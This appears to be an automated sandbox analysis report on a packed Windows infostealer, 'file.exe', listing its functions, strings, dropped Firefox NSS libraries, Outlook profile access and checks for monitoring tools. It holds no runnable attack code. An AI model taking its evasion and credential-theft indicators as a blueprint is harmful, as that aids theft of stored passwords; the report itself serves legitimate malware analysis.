Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092BA7D	0_2_0092BA7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C626E	0_2_009C626E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083BC8B	0_2_0083BC8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FBCB5	0_2_008FBCB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00885DD9	0_2_00885DD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091FD41	0_2_0091FD41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E3D8E	0_2_007E3D8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928563	0_2_00928563
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E0570	0_2_008E0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DB600	0_2_008DB600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084E65E	0_2_0084E65E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A7FFB	0_2_009A7FFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA835A0	0_2_6CA835A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE34A0	0_2_6CAE34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC4A0	0_2_6CAEC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96C80	0_2_6CA96C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D4E0	0_2_6CA8D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6CF0	0_2_6CAC6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA964C0	0_2_6CA964C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD4D0	0_2_6CAAD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF542B	0_2_6CAF542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFAC00	0_2_6CAFAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC5C10	0_2_6CAC5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2C10	0_2_6CAD2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95440	0_2_6CA95440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF545C	0_2_6CAF545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE85F0	0_2_6CAE85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0DD0	0_2_6CAC0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9FD00	0_2_6CA9FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0512	0_2_6CAB0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAED10	0_2_6CAAED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4EA0	0_2_6CAE4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEE680	0_2_6CAEE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5E90	0_2_6CAA5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF76E3	0_2_6CAF76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8BEF0	0_2_6CA8BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9FEF0	0_2_6CA9FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9E30	0_2_6CAE9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5600	0_2_6CAD5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC7E10	0_2_6CAC7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6E63	0_2_6CAF6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C670	0_2_6CA8C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2E4E	0_2_6CAD2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4640	0_2_6CAA4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9E50	0_2_6CAA9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC3E50	0_2_6CAC3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD77A0	0_2_6CAD77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8DFE0	0_2_6CA8DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6FF0	0_2_6CAB6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99F00	0_2_6CA99F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC7710	0_2_6CAC7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB60A0	0_2_6CAB60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC0E0	0_2_6CAAC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC58E0	0_2_6CAC58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF50C7	0_2_6CAF50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB820	0_2_6CACB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4820	0_2_6CAD4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97810	0_2_6CA97810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACF070	0_2_6CACF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8850	0_2_6CAA8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD850	0_2_6CAAD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C9A0	0_2_6CA8C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD9B0	0_2_6CABD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC5190	0_2_6CAC5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2990	0_2_6CAE2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D960	0_2_6CA9D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB970	0_2_6CADB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB170	0_2_6CAFB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA940	0_2_6CAAA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA822A0	0_2_6CA822A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4AA0	0_2_6CAB4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9CAB0	0_2_6CA9CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF2AB0	0_2_6CAF2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFBA90	0_2_6CAFBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA1AF0	0_2_6CAA1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE2F0	0_2_6CACE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8AC0	0_2_6CAC8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC9A60	0_2_6CAC9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8F380	0_2_6CA8F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF53C8	0_2_6CAF53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD320	0_2_6CACD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C370	0_2_6CA9C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85340	0_2_6CA85340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAC94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CABCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005645C0 appears 316 times

Source: file.exe, 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2627819181.000000006CD05000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qhigkmaa ZLIB complexity 0.9950505431073703

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2318604466.0000000004A20000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAE7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAE7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00579600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00579600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00573720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00573720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZRZDXR93\Z6TBUQ0R.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2415041255.000000001D198000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2430965159.000000001D18B000.00000004.00000020.00020000.00000000.sdmp, HIDHDAAEHIEHIECBKJDG.0.dr, IEHCAKKJDBKKFHJJDHII.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626984657.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1844736 > 1048576

Source: file.exe

Static PE information: Raw size of qhigkmaa is bigger than: 0x100000 < 0x19c200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2627634437.000000006CCBF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.560000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qhigkmaa:EW;znawcmbm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qhigkmaa:EW;znawcmbm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00579860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00579860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c8e85 should be: 0x1c9ca4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qhigkmaa
Source: file.exe	Static PE information: section name: znawcmbm
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DF0BE push edx; mov dword ptr [esp], eax	0_2_009DF0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E98B9 push ebp; mov dword ptr [esp], ebx	0_2_009E98BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009620AB push ecx; mov dword ptr [esp], ebx	0_2_009620CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009620AB push ebx; mov dword ptr [esp], ecx	0_2_00962108
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009620AB push eax; mov dword ptr [esp], esi	0_2_009621A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push ecx; mov dword ptr [esp], edx	0_2_007E7871
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push eax; mov dword ptr [esp], ebp	0_2_007E795F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push ebp; mov dword ptr [esp], esi	0_2_007E7966
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push 60EE14C7h; mov dword ptr [esp], esi	0_2_007E79F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push 2817CE04h; mov dword ptr [esp], edx	0_2_007E7A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push edi; mov dword ptr [esp], eax	0_2_007E7A14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push 67BF681Fh; mov dword ptr [esp], esi	0_2_007E7A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push ebx; mov dword ptr [esp], edx	0_2_007E7AC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push 12B91931h; mov dword ptr [esp], ebp	0_2_007E7ACF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push ecx; mov dword ptr [esp], 357FEB97h	0_2_007E7AD6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push ebx; mov dword ptr [esp], 37F7C15Fh	0_2_007E7B0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D push eax; mov dword ptr [esp], ebx	0_2_007E7B23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009978DA push 7A008F92h; mov dword ptr [esp], edi	0_2_00997901
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD0DF push eax; mov dword ptr [esp], ebp	0_2_009CD102
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B08D4 push edi; mov dword ptr [esp], esp	0_2_009B08F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B08D4 push ebp; mov dword ptr [esp], esi	0_2_009B091A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E80CD push 1D73A9D1h; mov dword ptr [esp], ecx	0_2_009E80E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057B035 push ecx; ret	0_2_0057B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1782A push ebp; mov dword ptr [esp], esi	0_2_00A17846
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D882E push eax; mov dword ptr [esp], edi	0_2_009D8868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A0027 push 34A1D391h; mov dword ptr [esp], ecx	0_2_009A0081
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A00072 push edi; mov dword ptr [esp], 1420261Fh	0_2_00A000CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092198C push 39A059FAh; mov dword ptr [esp], esp	0_2_0092199B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092198C push edi; mov dword ptr [esp], 3FFAFFDAh	0_2_00921A3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092198C push ebp; mov dword ptr [esp], 78CCE3E2h	0_2_00921A5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092198C push 2AF04640h; mov dword ptr [esp], eax	0_2_00921AEF

Source: file.exe

Static PE information: section name: qhigkmaa entropy: 7.954748642799094

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
